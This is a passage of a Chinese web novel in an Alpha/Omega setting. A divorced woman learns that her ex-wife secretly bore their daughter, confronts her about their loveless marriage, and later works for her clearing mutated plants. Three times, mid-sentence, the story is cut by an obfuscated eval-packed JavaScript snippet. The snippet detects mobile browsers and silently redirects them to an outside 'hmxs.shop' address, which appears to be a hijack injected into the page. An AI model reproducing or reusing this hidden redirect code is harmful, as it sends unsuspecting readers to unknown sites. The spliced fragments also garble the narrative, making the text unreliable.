“什么不可能呀?快给我看看呀。”于音躺在床上看不到,可急死她了。 话刚落下,白舟就像风一样窜了出去,回忆也像风一样往白舟的脑海里钻,卷起一片又一片的记忆。 她开着于音的车以最快的速度窜上了无人的公路。 不是梦,那天晚上不是梦。 可她却想不起其中的细节,连怎么开始、怎么发生、怎么结束的都记不清了,本以为是一场混沌的美梦,如今却告诉她是真的,什么都是真的。 白舟突然好恨啊。 恨这一切为是在她们离婚后发生的;恨姚悯怀孕后不联系她;恨甜甜喊她妈妈时,姚悯不把真相告诉她。 同时,她也恨姚悯选择了一个人渡过孕期和哺乳期。 Omega在怀孕后,会出现激素变化和身体敏感度提升,常出现恶心、呕吐、焦虑、情绪波动大,容易产生不安情绪,需要Alpha信息素安抚情绪并缓解不适,否则生产时容易出现意外。 而刚出生的宝宝也需要Alpha信息素的安抚,才会健康快乐地成长。 她不敢想象姚悯是怎么渡过孕期的,也不敢想象甜甜初次与这个世界见面时会有多不安。 恨与愧疚席卷了她。 白舟一个急刹车,停在了姚悯家门口,却没有立即下车。 她把所有车窗打开,带着凉气的微风从四面八方灌进她的脑子,心中的恼意渐渐平息下来。 就算把人吵醒又能干什么呢?跟姚悯吵一架,是指责她偷偷生下她的孩子,还是声嘶力竭地问她说好的不喜欢做.爱,又为什么在她喝醉后与她缠绵,又或者卑微地问她当时是不是被她强迫了。 为什么呢? 是不是,其实姚悯也是有一点喜欢她的?还是为了家族继承,所以选择了生下孩子? 思绪乱糟糟,爱与恨都跑了出来。 白舟坐在车里想了一夜,又不知道自己在想些什么,直到天微微亮,带着全身寒意回了家。 她现在没勇气跟姚悯对峙,怕自己会口不择言,也自己会继续纠缠。 白望已经起来了,正在厨房里慢悠悠地做早餐呢。 老人家醒得早,夜里总盼着太阳出来,好做点什么打发时间。 可当白望一转身时,却被门口悄然出现的白舟吓了一跳,她拍着胸口没好气地说:“要死了你,走路也不晓得出个声,你奶奶今年八十高龄了,是经得起吓的人吗。” “说话啊你,出去一晚变哑巴了。”白望走过去掐掐她的脸颊。 白舟看着她,突然一头扎进她怀里,嚎啕大哭,吓了白望一跳,举着双手呆愣片刻后,一边说咋了?一边轻拍她后背。 有家的孩子总是比没家的孩子更情绪外放一些,得到一句关心就像找到人撑腰了一样。 白舟边哭边向她控诉姚悯生了个孩子不告诉她,她讨厌姚悯,很讨厌。 “好,讨厌她,奶奶也跟着小米粥一起讨厌她好不好。”虽然不知道发生了什么,但白望还是像小时候那样哄着她。 白舟摇头说不好,她不希望真的有人讨厌姚悯,更不希望奶奶讨厌姚悯。 感情是两个人的事,姚悯只是不爱她而已,但甜甜也是她的孩子,她也想陪着甜甜长大。 也许是情绪冷静下来了,白舟开始感觉到游走在五脏六腑的喜悦,以及,藏在皮肉里的心疼。 她舟退出奶奶的怀里,抬手抹了抹眼泪,把亲子鉴定给她看,叮嘱她不许跟姚悯抢抚养权,她们没这个资格,白望的喜悦瞬间少了一半,巴巴问她:“那我想和甜甜一起玩怎么办?” “我等下去和她摊牌。”白舟说。 孩子也是她的,姚悯可以不爱她,但不能阻止她跟孩子交流感情。 白舟收拾收拾心情,回房洗了个澡,卷了卷长发,换上茶色工装,戴上草帽后,干脆利落地出了门,却没想到门口有两个‘闲人’。 于音倚在车头,见她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728491|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,不经意触及她眼底的红后,眉尾微挑,嘟嘴吹了个口哨,“早啊,粥,你跟小妖精生的孩子呢,快领出来给干妈们看看呀。” 贱嗖嗖的。 白舟走过去一把拍上她抖着的大腿,说:“我要把你只穿小裤裤的样子发给莫离看。” “白粥你要死啊。”于音跳起来追着她跑。 赵知推推眼镜,看着她们绕着车跑了一圈又一圈,有些羡慕她俩一把年纪了还这么有活力,不像她,已经活人微死了。 “大清早的,你们跑我家来干什么,都不用上班的吗?赶紧回去吧。” 打闹过后,白舟开始下逐客令了,她等下还要找姚悯算账呢,再来两个人添乱,显得她欺负姚悯一样。 于音却拉着她靠在车头,和赵知一起包围她,说:“我们请假了,来接干女儿出去玩儿呢,咱们的干女儿在哪呢?快领出来呀。” “……” 白舟左看看,右看看,觉得今天是瞒不住了,这俩货都是不达目的不罢休的主。 “你们的干女儿还在睡觉呢。”白舟看着地板说。 怕等下她们见到姚悯闹起来,白舟先给她们打了剂预防针,淡淡然地把姚悯住她家隔壁,她和姚悯还有个孩子的事告诉了她们。 这消息比她们刚得知白舟有个孩子的消息还要令人震惊,赵知被惊得连眼镜都掉到了鼻尖上悬悬挂着,而于音这个炮仗愣了足足五十秒。 “你说姚悯和你有个孩子?”于音呆呆问。 白舟点头。 “那她现在出现在你面前是?”赵知把理智捡了回来,抬手推推眼镜问道。 白舟摇摇头,“她也不知道我住这里。” 重逢那次,姚悯脸上的诧异不似作假,她也没有带姚悯回来过,除了巧合,白舟找不到别的借口了。 “姚悯竟然背着你偷偷生下一个孩子!” 于音还是很震惊,据她在漳洲的观察,姚悯完全就是一个断情绝爱的上位者,虽然人品没什么可挑剔的,但在情感方面却是连狗都嫌,也就白舟当个宝,但是这样的人竟然会在背地里生下属于白舟的血脉。 “她竟然背着你偷偷生了个孩子!”于音又不可置信地说了一句。 白舟看着她,纠正,“是背地里生了个我的孩子。” 一脸严肃,偷偷生孩子和背地里生下她的孩子是不一样的。 于音闻言一哽,本来还不知道该不该生气的,现在只想一巴掌打醒这个恋爱脑,她捧着白舟的脸,气咻咻说:“你不会又要舔上去吧?忘了她并不爱你了吗?就算生了你的孩子,她也不是因为爱你,白舟,你可长点心吧。” 白舟怎么可能忘记,但也不用这样提醒她吧,往她心里扎刀吧,谁年轻时没个求而不得了。 “你放心,我有分寸,我现在就想和她说清楚,让她别拦着我和孩子培养感情。”白舟说。 于音:“那你把孩子抢走。” 白舟:“别闹,人家辛苦生的孩子,我有什么权力抢走。” 于音也觉得没理,只是她怕白舟培养着培养着又陷进去了。 三人沉默了一会儿,于音忽然又炸起来,“可你不是说姚悯是个性.冷淡吗?你确定孩子她生的,而不是你和别的小妖精生的,然后小妖精带着崽找上门,你不在,就被她接收了。” “……” 离谱。 白舟闻言正想给她个死亡凝视,就听见“吱——”一声,姚悯家开门了,她扭头看去,姚悯牵着甜甜用一种她读不懂的眼神盯着她。 “……” 12. 她是个笑话 尴尬吗? 很尴尬。 在背后说人坏话的尴尬占了一小部分,更多的是她在外面说姚悯“性.冷淡”被正主听到后的尴尬。 白舟本来可以拿出很足的气势跟姚悯谈判的,现在却因为心虚而不敢正视人家了,最过分的是,于音这个大喇叭推了她一把,差点把她推个狗吃那个啥。 白舟扶了扶歪掉的草帽,回头瞪她,“你干嘛?” “那个,我觉得感情的事得你们自己解决,去吧,我和知知在这儿看着呢,不会让她把你给欺负了的。”于音用气声说。 她最不喜欢面对姚悯这种一脸严肃的人了,看着怪像主任的。 “所以你以前骂人家都是骂着玩的?”白舟咬牙瞪她。 “都是真的,我们都向着你呢,但是人家现在孤儿寡母的,咱们仨往她面前一站,那成什么了,不是欺负人吗。”于音继续小声狡辩。 白舟险些被她的脸皮气笑了,她看向赵知,对方推推眼镜,赞同地点头,同样小声说:“去吧,我俩在这儿看着呢。” 这时,姚望白挣开姚悯的手向白舟跑了过去,“妈妈。” 清晨的阳光薄薄地打在她身上,露出的小牙齿藏进几缕朝气,头上的小辫子配合着两只向上举着的小手一甩一甩着,像个小精灵似的。 总有一天,会有个人坚定地奔向你,满心欢喜地朝你跑来,带着她的赤忱与喜爱,扑向你。 白舟心都软了,蹲下.身子展臂接住她的小身子,完成一个与亲生女儿的初次拥抱。 她当妈妈了。 她有一个很可爱,很可爱的女儿,她的名字叫“姚望白”,小名叫“甜甜”。 是……她和姚悯的孩子。 此刻,白舟很想谢谢姚悯,谢她没有把孩子打掉,谢她带着孩子健康地站在这儿。 她抱了多久,姚悯就在原地看了多久。 有一个人她单膝跪在地上,紧紧抱住一个小女孩,头上的草帽可能是怕碰到小女孩,被她拨到了背上,草帽的绳子吊在她脖子上,应该会有点勒吧,姚悯想。 她盯着那条绳子看了几秒,视线往上抬,阳光下的眼角闪烁着几缕晶莹,姚悯微怔,这是她第二次见到白舟的眼泪,是内敛的、默不作声的。 她应该很喜欢甜甜吧。 刚刚她们说的话并没有刻意放低声音,姚悯在院子里清理杂草的时候都听见了,她没想到白舟这么快就知道甜甜是她的孩子了,应该是做了DNA吧,所以对甜甜的态度才会转变得这么大。 可第一次见面时,甜甜喊她妈妈时又为什么那么决绝地否定呢? 是以为她在离婚后火速跟别人生孩子了吗?又会不会怀疑过她在婚内出轨? 姚悯是个聪明人,稍微往回一推,就猜了个大差不差。 但她又不是那么了解白舟,结婚五年,她忙于工作,很少会安安静静地和白舟坐在一起聊聊天,也从未想过要走进白舟的内心世界去看一看对方是什么样子的。 原来,是柔软的吗? 面对这温馨的一幕,姚悯抿唇笑了一下。 于音和赵知刚好捕捉到她的笑容,她们同时看向白舟圆圆的脑袋,狠狠羡慕了,同时又有种“白舟已经跟她们不同了”的感觉。 白舟挪了下脑袋,偷偷把眼泪抹在甜甜的衣服上,然后抱起甜甜回头向她们炫耀,“我女儿,怎么样,是不是长得跟我一模一样。” 赵知推推眼镜,对着甜甜看了半晌,说:“不大像。” 于音附和:“嗯,一点都不像。” 白舟“嘁”一声,说她们的嫉妒之心如此浓重,随后亲亲女儿的小脸蛋,转头就看到姚悯站在了旁边,她莫名就心慌了一下。 她们,有点像一家三口。 “好久不见。”姚悯对于音和赵知点点头。 语气还是一样地平静,跟当初见到白舟时一模一样。 白舟动荡的心又沉静下来,再一次告诉自己姚悯不爱她。 面对姚悯的主动问好,于音爱搭不理地“嗯”了一声,赵知也平静地回了句“好久不见”,空气凝滞了几秒,白舟哄甜甜跟着姨姨们去找奶奶玩后,对姚悯提出了谈一谈的要求。 姚悯点点头,带她回了家。 这栋房子白舟小时候经常进来玩耍,现在却让她感到了陌生,院子被清理得干干净净,只有角落堆着两大袋杂草,是养尊处优的姚悯一点一点清理出来的。 白舟跟着来到客厅,看不出有Alpha生活的痕迹,心里的浮躁奇异地平息下来,很快,她又被客厅里整齐摆放的大大小小的玩具戳了一下心巴,她心里恍惚飘过一个念头:姚悯或许不是一位好老婆,但她绝对是一名好妈咪。 “没有饮料,白开水可以吗?”姚悯给她倒了杯水。 “可以,我不挑。”白舟接过,杯子上印着可爱的小黄鸭,可能是甜甜的水杯,她举起杯子抿了一口。 姚悯没说什么,只是想起了以前冰箱里总是堆着的各式饮料。 “要找我谈什么?”她问。 也许是上位者当久了,有些习惯很难改掉,姚悯下意识就拿出和人谈生意时的气场,哪怕她现在穿着碎花长裙,长卷发懒懒披在肩头,随意地坐在沙发上,看起来很好说话的样子。 事实上,也的确很好说话,可对方每次跟她说话都像跟她谈判一样,白舟死去的记忆又开始攻击她。 她从没说过,她最讨厌姚悯这样跟她说话了,这让她感觉自己很像一个外人,而不是妻子。 不过现在她在对方的世界里,确实算一个外人了。 “谈甜甜。”白舟看着她,眼神带了点劲儿。 姚悯诧异了一下,不是因为白舟说要谈甜甜,而是对方的态度,她第一次见到这样的白舟。 冷脸、端庄,带着些许挑衅的语气。 姚悯闪了下眼神,抬手转了转戴在右手上的佛珠,“你说。” “怀孕后为什么不联系我?” 质问的语气。 但话出口后,白舟就懊恼了一下,这句话根本没经过她的大脑,是她的身体也在潜意识地不甘心吗? 毕竟,八年啊,是颗石头都能捂热了吧。 姚悯奇怪地说:“不是你说的,离婚后别再纠缠吗?” 白舟瞪大眼睛,“我什么时候说过这样的话?” 她巴不得姚悯不习惯没有她在身边,后悔了,回来缠着她不放呢。 “办完离婚手续之后,晚上,你给我发消息了。” 那时白舟在酒吧喝得手软脚软,脑子也软,不知道给姚悯发了多少条消息,而姚悯那时还在公司加班,手环里的消息却一条接一条地弹出来。 要说离婚对她没有丝毫影响是不可能,但她始终想不明白,她跟白舟没闹过一次矛盾,也没有吵过一次架,白舟为什么还要跟她离婚。 但是后来好像明白了一点,姚悯看着白舟,问“所以你跟我离婚,是因为我没跟你上.床做.爱?” 当时白舟发的消息里就有这样一条:无性婚姻是婚姻吗? 白舟不知道她是怎么做到用这么冷静的语气问出这么大尺度的话的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728492|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但这句话无疑是羞辱到她了,也侮辱了她这八年的感情。 可笑是,她们认识了八年,同居了五年,对方却一点都不了解她,不然……就不会说出这样伤人自尊的话了。 更可悲的是,白舟竟然怪不了她,因为她们的关系从一开始就不对等,而不对等的感情,注定有一方要受尽委屈。 她早已尝到苦楚,却都没有现在苦,因为她无比清晰地认识到,这八年里,姚悯真的一点都不曾了解过她。 “姚悯,我在你眼里就是这么不堪吗?你以为我跟你结婚就只图你的身子吗?” 白舟眨了眨泛酸的眼睛,盯着她,“那五年里,我天天黏着你是不是让你觉得厌烦了,觉得我每一次靠近你都是想跟你上.床,我在你心里就是这样龌.龊?你是不是不懂什么是爱?” 爱? 姚悯只懂一点母爱。 她生在姚家,长在姚家,家族上百口人天天就为一个位置挣来斗去,今日七大姑的老婆和八大姨的赘A滚在床上,明日表姐的联姻A与表妹滚在一起,她们都不是因为爱,只是利益的驱使,或者只是单纯的受性指引。 就连她的妈咪生下她也不是因为爱她的Alpha妈妈,但是她的妈咪爱她,会关心她,会温柔地注视她,会陪着她长大。 可现在,有个人问她懂不懂爱,不同于母爱的爱,是爱情的爱。 她,不懂。 姚悯看着眼眶泛红的白舟,说:“你的意思是:你跟我结婚是因为爱?” 语气平静,带着点疑惑,好像这个理由有点震惊到她了。 “那你以为是什么?”白舟被她眼里的惊讶刺激到了,激动地吼了起来。 她确定了,姚悯根本就不懂爱,所以不相信她就是因为爱才跟她结婚的,甚至还怀疑过她是因为馋她的身子或者图她财产才跟她结婚。 白舟偏了下头,飞速眨去眼里的泪,不想让对方看见她的狼狈。 但她忽然很失望,可她分不清是对姚悯失望,还是对自己失望。 姚悯一顿,这是她第一次被白舟吼,却不觉得生气,反倒觉得这样的白舟更鲜活了。 “你冷静点。”姚悯说,“我没有觉得你厌烦。” 冷静? 白舟看着始终一脸平静的姚悯,忽然觉得跟她说这些特没意思。 姚悯解释了不觉得她厌烦,却没解释她有没有觉得她是个思想龌.龊的人。 为什么不解释呢?是她心里就是这么想的吗? 真没意思。 她在这里声嘶力竭地质问,对方在那里气定神闲地看她纠结过去,真像场笑话。 她是个笑话。 白舟深吸口气,冷冷说道:“我今天过来不是为了跟你吵架的,甜甜也是我的孩子,我希望以后你不要阻止我跟她见面。” 姚悯挑眉:“我从没阻止过,不是吗。” 从见面到现在,她一直都是随意的态度,甜甜黏着白舟,她没阻止,白舟要带甜甜回家,她也没阻止,姚悯从来都没想过不让她们见面,但她也没想过要特意让她们见一面。 白舟回想,姚悯确实没阻止过她,但她不想在姚悯面前落了下风,于是又抬了抬下巴,说:“今晚我要跟甜甜一起睡。” 培养感情。 “如果甜甜愿意的话,我没意见。” 姚悯始终很淡定,很好说话的样子,显得她刚刚大起大落的情绪像在发疯。 白舟待不下去了,这是她第一次不想跟姚悯继续呆在一起,甚至看见这张平静美丽的脸就觉得有些烦躁。 13. 你在怕我? 白舟走后,姚悯依旧坐在沙发上,她在想白舟口中的爱是什么? 很重要吗? 婚姻是需要爱来维持的吗? 跟她离婚是因为不爱了吗? 她想了半天也没得到答案,于是上网查了查,有人说爱是盾,也是矛,是束缚,也是前进的动力,是包容,也是占有,是放手,也是不舍。 各种各样的,姚悯看不懂,却盯着“不舍”两个字发了会儿呆。 离婚那天,她确实有一点不舍的感觉,觉得她们不该是这样的,可是不该是这样,又该是哪样呢? 人生又哪有那么多该不该,不过是贪念在作祟,明朗的想要,隐晦的想要,就都该是自己的。 但她对白舟产生的不舍,是因为爱吗? 应该不是,她如果爱一个人,应该会用尽一切手段去挽留。 那是因为什么呢? 姚悯想不出来,吐了口气后,起身去农场。 她跟别人约了九点钟过来伐木,要亲自去现场看看,交代一些事谊。 白舟已经与公司的人在农场汇合了,与她们寒暄了几句,还不见甲方过来,不由问道:“你们约的是几点?这太阳都晒屁股了,还不见人来。” 赵梨梨看了眼时间,说:“九点呀,咱们来早了。” 她也是公司的创始人之一,不过英年早婚,现在家里有一大家子要养,所以干活最积极。 正说着,白舟又看见让她心烦气躁的人了,对方戴了顶白色渔夫帽,遮住小半张脸,走过来时,长裙飘飘,很容易就让人觉得这是个温柔的女人。 真是变了,白舟心想,以前的姚悯从不会穿这样的长裙,她的身上曾经是被正装包裹着的,脚上也不会穿平底鞋,她说她不喜欢仰望别人,所以一直都踩着高跟鞋,她喜欢俯视的感觉。 现在这样,是不喜欢低着头看人了吗? 白舟看着站在赵梨梨面前需要微微仰着头的姚悯,还是没忍住去猜测点什么,是这三年经历了什么吗?所以曾经高昂的头颅也学会了低下。 “舟舟,这位就是咱们的甲方了,来打个招呼吧。”赵梨梨冲着她的方向招了招手。 白舟已经不知道该用什么形容词解释她的心情了,曾经她天天都想见到姚悯却天天见不到,现在她不想见到姚悯了,又转个头就相见。 她感觉老天在耍着她玩儿一样。 白舟双手插兜,吊儿郎当地走过去。 赵梨梨介绍白舟是公司另一位负责人时,姚悯又诧异了一下,但她表面不显山不露水,淡淡地跟白舟说了句“你好”,好像第一次见面一样。 白舟阴阳怪气地“呵”了一声,然后抬了抬下巴,俯视她,“你好。” 她比姚悯高出一小截,对方不穿高跟鞋后,她讲话需要微微低头注视着对方才算得上礼貌,但她觉得,她现在不是很想给姚悯这样的礼貌。 姚悯微顿,眼神在她脸上停了几秒,移开。 是有一些些的不适应,在她的记忆里,白舟身上从来没有出现过这种态度,哪怕是面对她那些七大姑八大姨,对方也是梨涡浅浅,大方得体的样子。 没想到重逢以来,白舟像变了个人一样,对她不是冷脸就是吼,姚悯难得地产生了一些情绪波动,但很微弱,不够引起她的注意。 姚悯一言不发地往旁边走了几步,看起来像是介意白舟的态度一样。 赵梨梨见状,虽然诧异于白舟的态度,但还是伸手拽了拽她的衣角,小声说:“你干嘛呢?这是咱们的金主,态度好点。” 说完,她小跑到姚悯面前和了下稀泥,让这诡异的气氛融洽了一些,然后和姚悯商量工作的事谊。 木头砍下来还有利用价值,一般赵梨梨都会问一下甲方打算怎么处理这些木头,她们公司也会收购这些木头转卖出去,有些甲方嫌麻烦都会直接卖给她们公司,而有一些会自己找渠道卖出去。 赵梨梨以为姚悯会直接卖给她们,毕竟昨天谈的时候,对方在这方面问了一句,但现在她不确定姚悯还会不会再卖给她们了,因为对方往白舟的方向看了一眼,回了句“再说吧”。 她要考虑,问题出在白舟身上。 是因为白舟刚刚那不太礼貌的态度? 这位甲方也不像这么小气的人啊。 赵梨梨的豆豆眼转了一下,几步挪到白舟面前,“舟舟,要不你跟姚小姐商量商量,让她把木头卖给咱们得了,这几百亩地,能挣不少呢。” 这世上出现的每一样东西,都有其价值,包括被人们称为“大害虫”的变异植物,部分变异植物因为材质硬、纹理美观、耐腐耐水而被做成家具,也有一些变异植物带有异香被做成各种精美摆件。 况且砍伐变异植物存在着一定的危险性,所以变异植物的价值并不会很低,但也因为全球长了许多变异植物,谁都能砍上几棵,所以其价值也不会高到哪里去。 只是她们的工作就是帮别人砍伐变异植物,所以总想着能将利益最大化,一份工作赚两份钱,然后三家分。 白舟并不想跟姚悯有太多的接触,起码这几天是不想的,但她想到姚梨梨和她老婆生的那堆孩子。 国家虽然研究出了可以抵抗饥饿的营养液,但为了不引起社会动荡,国家是不会将营养液免费发放给每一位人民的,而是以一个所有人都能买得起的价格进行售卖。 姚梨梨家上上下下共有十几口人,除了解决基本的饥饿之外,还要买点吃食来磨磨寂寞的牙齿,算下来每天的花销也不小。 所以赵梨梨虽然是公司老板,但养家压力一点也不小。 白舟代入一下自己,有些同情她,又瞬间想到了甜甜,她如今也是有孩子的人了,也得努力工作挣奶粉钱才行。 但一想到她们挣的都是孩子的另一个妈咪的钱,白舟就觉得有些怪异。 如果她跟姚悯没离婚,那她现在挣的不就是自家的钱吗。 幸好,幸好她跟姚悯离婚了,她现在挣的是前妻姐的钱。 白舟答应了有空会跟姚悯商量的,但赵梨梨怕迟则生变,哄着她现在就去商量。 白舟:“……” 她看了看正站在农场入口侧对着她的姚悯,因为站的角度有几分讲究,她的下半张脸完全藏进了帽檐的阴影下,恍惚衬出了三分生冷的气息。 这种气息白舟并不陌生,以前姚悯遇到什么烦恼事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728493|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,总会露出这种气息,刚开始白舟不知道,颠颠跑到她跟前刷存在感,却被对方冷冰冰的眼神伤了几次之后,也就懂得了。 所以每当这种时候,她都不想靠近姚悯。 但现在…… 白舟双手插兜,和她并排站着,几秒后,偏头看去,却没能对上那双冷静的眼眸,于是她微微弯腰往上勾了下脑袋,“姚小姐这些木头打算怎么处理?我们公司想收购这批木头,价格方面好商量。” 语气平静,公事公办,再没有那些故作的冷淡与挑衅,仿佛对方就只是一名普通的合作对象而已。 姚悯动了动眼睫,再一次有了新的体验,以往她穿着高跟鞋基本能与白舟同等身高,所以从未见过对方这样勾着头看她的样子,像是有些宠溺的迁就一样。 但对方的语气、表情可与宠溺一点都不挂勾。 不过她们离得有些近,姚悯好像闻到了清新的草木香,丝丝缕缕勾着她的腺体微微跳动了一下。 “那就卖给你们公司吧。”姚悯往后退了一点。 白舟被她避如蛇蝎的动作刺了一下,连呼吸都停了一瞬,换作以前她就退开独自伤心去了。 但现在不行,她心里憋了口气,脑子也就起了层雾,行为就有些幼稚了。 白舟抬腿追了一步,对方继续后退,她弯着腰,拿劲劲的眼神与她平视,步步紧逼。 阳光也趁机欺负到姚悯的脸上,细细的绒毛好像沾了些湿意,无端平添两分柔弱。 “你在怕我?”白舟说。 怕? 长大之后就没人再对她说过这个字了。 姚悯站定,微抬下巴,“白小姐说笑了,我只是不习惯有个Alpha离我太近罢了。” 尤其,这个Alpha还标记过她,这会对她产生很大的影响。 自从有人研究出‘终生抑制剂’之后,人类在分化完成之后都会打上一剂‘终生抑制剂’,可以免于在易感期内发生不受控的发情情况,还给人类一个体面做人的机会。 但姚悯不一样,她的腺体存在先天性的残缺,闻不到信息素,也释放不了信息素,所以‘终生抑制剂’对她没用。 虽然现在她的腺体已经治好了,但她的信息素还是紊乱的,每次发情期都需要打抑制剂才能控制住属于自己的体面。 而标记过她的白舟,很轻易就能勾出她体内最深层次的欲.望。 姚悯忽然想起司昭说过的话:你的情况特殊,如果在治好腺体之前没被人标记,我有百分之九十的几率可以给你研究出属于你的‘终生抑制剂’,但你已经被人终生标记了,你的信息素与Alpha的信息素已经混为一起了,而发情期也会终生伴随着你,目前你只有两个选择,一是打一辈子的抑制剂,后期可能会出现副作用,二是找到标记你的人,我去抽几管血,继续研究看看,可能有机会研究出属于你的‘终生抑制剂’,这样你就不用再受发情期的苦了。 无疑,第二种选择对于姚悯来说很有诱惑力,但她那时已经不知道白舟去哪儿了,而她唯一可以联系白舟的手环找不着了。 但现在……白舟就站在她面前。 要找她借点血吗? 14. 相亲被看见 姚悯把该交代的都交代之后,就离开了。 白舟耸了耸鼻尖,一丝雪莲香浅淡得仿佛是她幻想出来似的,但她觉得自己好像有些醉了,刚刚姚悯看着她好像有些欲言又止,神情有些微微地不好意思。 究竟想说什么呢? “舟舟,怎么样?” 赵梨梨一直关注着她们,见甲方走后,立马小跑过来打探消息。 白舟敛神,看向这个每日为生活奔波而略显老态的同学,说对方同意卖了,赵梨梨的喜意肉眼可见。 太容易满足了。 白舟摇摇头,问她药喷完了吗,赵梨梨笑着说还要一会儿时间。 为了防止砍完这些变异植物后又迅速长出新的,她们会提前给这片土壤喷上‘防生剂’,喷完之后24小时内不会有任何植物长出来,但也会对土壤造成一定的损坏——半个月之内种任何东西都不会存活(变异植物除外)。 所以砍完树,她们就得往地地里洒上‘椿’,再通过犁地让‘椿’与泥土融合,可以预防一部分变异植物从地里长出来。 但是有些变异植物可以无视‘椿’,就像昨天攻击于音的那株变异植物一样。 所以大家都说现在种田比找工作还难,但人人都是赌.徒,人人都有自信自己能争出口米粮。 喷完药后,于音的小白唱着歌载着她过来了,白舟叫她来的,她还记得昨天差点小命不保的于音还惦记着里面那株变异植物呢。 于音抱着从院里借来的‘助手’下了车,三两步跑到白舟面前,开口就是:“粥啊,甜甜被她妈咪领回家了,咋办呀?她会不会不让你和甜甜见面了?” 白舟:“……” “她不是那样的人。”白舟无语地看着她。 姚悯虽然待人冷淡了些,但不是不讲信用的人。 “那就好那就好。”于音拍了拍胸口,她相信白舟。 白舟看一眼她怀里的东西,黑骏骏的,长得像只鹰,她问这是什么。 于音嘚瑟地向她炫耀说:“研究院里的镇院之宝,提取机,可以远程提取变异植物的精华,一般人可借不出来呢。” 听着很厉害的样子。 “要是被打坏了要赔吗?” 于音“呸呸呸”几声,说她乌鸦嘴,这只鹰做出来容易,但是提取精华的那根针可难做了,价值上百万呢,坏了可是要赔的,所以她很多时候都是冒着生命危险在工作,也没想过要借。 她赔不起啊。 这次实在是昨天吓坏了,又不想错过那株变异植物,她们院对收集新的变异植物精华是有奖金的,于音想要。 白舟看她担惊受怕的样子,像模像样地“呸”了几声,让她小心点之后,转身和赵梨梨她们说了里面的情况之后,又规划了一下工作,工作的时候先避开那株变异植物所在的位置。 伐木机是智能款的,她们可以在距离伐木机一百米之内通过手柄操控伐木机,降低生命危险系数,但这机器还挺贵的,被打坏了也心疼,所以她们在操作的过程中还要眼观八方,稍有不对劲就立马操控着伐木机逃出来。 姚悯接甜甜回来吃完午饭后又送回了白舟家,她感觉自己的腺体突突地跳,但是发情期在前几天才刚过去,现在又有发情的征兆,太不正常了。 打完抑制剂,姚悯开车去了趟康和医院,司昭在那里。 “完成终生标记后,无论是Alpha还是Omega都会对彼此产生依赖,更何况你一直都没得到过她的安抚,怀孕时又一直在使用‘抗郁素’,生下甜甜后也一直在透支信息素温养着她,你如今的情况已经很不好了。” 司昭坐在椅子上,看一眼手里的报告,又看向她,“如果你没办法跟她在一起,最好不要跟她靠得太近,她身上的信息素可以轻而易举地把你的发情期诱导出来。” 姚悯坐在椅子上,摩挲着手上的佛珠,帽檐盖了她小半张脸,独留紧抿的唇。 司昭看不到她的表情,也不知道她在想些什么,但她们认识了那么久,多少还是了解一些对方的性格的——理智、磊落,就是不长嘴,遇到困难宁愿自己抗也不愿求人。 因此,她劝道:“其实只要你跟她在一起,这一切问题都能迎刃而解,她的信息素能滋养你,以后也不用每到发情期就打抑制剂,那玩意儿打多了真的会有副作用的,而且你们在一起后,还可以带她来我这抽血,早点研究出‘终生抑制剂’对你也好。” 她何尝不知道这是最优的解决方案,只是…… 姚悯想到重逢后,白舟对她的态度,恐怕没那么容易,而且……她也不知道对方现在有没有别的Omega。 “要不,你把她骗过来,我就抽几管血而已,损害不了身体的。” 见她为难,司昭出了个馊主意,被姚悯凉嗖嗖瞪一眼就老实了。 “当我没说。”司昭怂怂地推了推眼镜,“反正你自己好好考虑,你也不想当短命鬼吧。” “再给我拿点抑制剂吧。”姚悯说。 接下来她跟白舟的接触不会少。 司昭也不再劝,每个人都有自己在乎的东西,金钱、地位、生命、道德,什么都好,总有一些是要排在前头的。 姚悯拎着一袋抑制剂刚一进入电梯,就闻到很浓的香水味,她蹙眉往电梯门边看了一眼,一名长得像个人的Alpha正盯着她看,眼神不是很美好。 这样的视线,姚悯在近两年遇到过很多,偶尔她会想,如果白舟在身边就好了,白舟会帮她挡住这令人恶心的眼神。 不到一分钟,电梯门开了,姚悯快步走出去,开车离开。 赵知戴着口罩从电梯角落里走出来,刚刚盯着姚悯的Alpha还站在停车场看着姚悯离开的方向,脸上坑坑洼洼地装着各种见不得人的心思。 小时候白舟总对她说:谁欺负你了,告诉我,咱们盯着对方,等没人的时候就给她头上套个袋子揍一顿。 电梯门边有个垃圾桶,赵知把里面的黑色垃圾袋拿出来。 没一会儿,空旷的停车场响起几声痛呼。 赵知掏出眼镜重新戴上,从Alpha手里抢过小包包,气不过又拍了一下她的后脑勺。 这时,电梯门又开了,赵知回头看一眼,女人一身白色长裙, 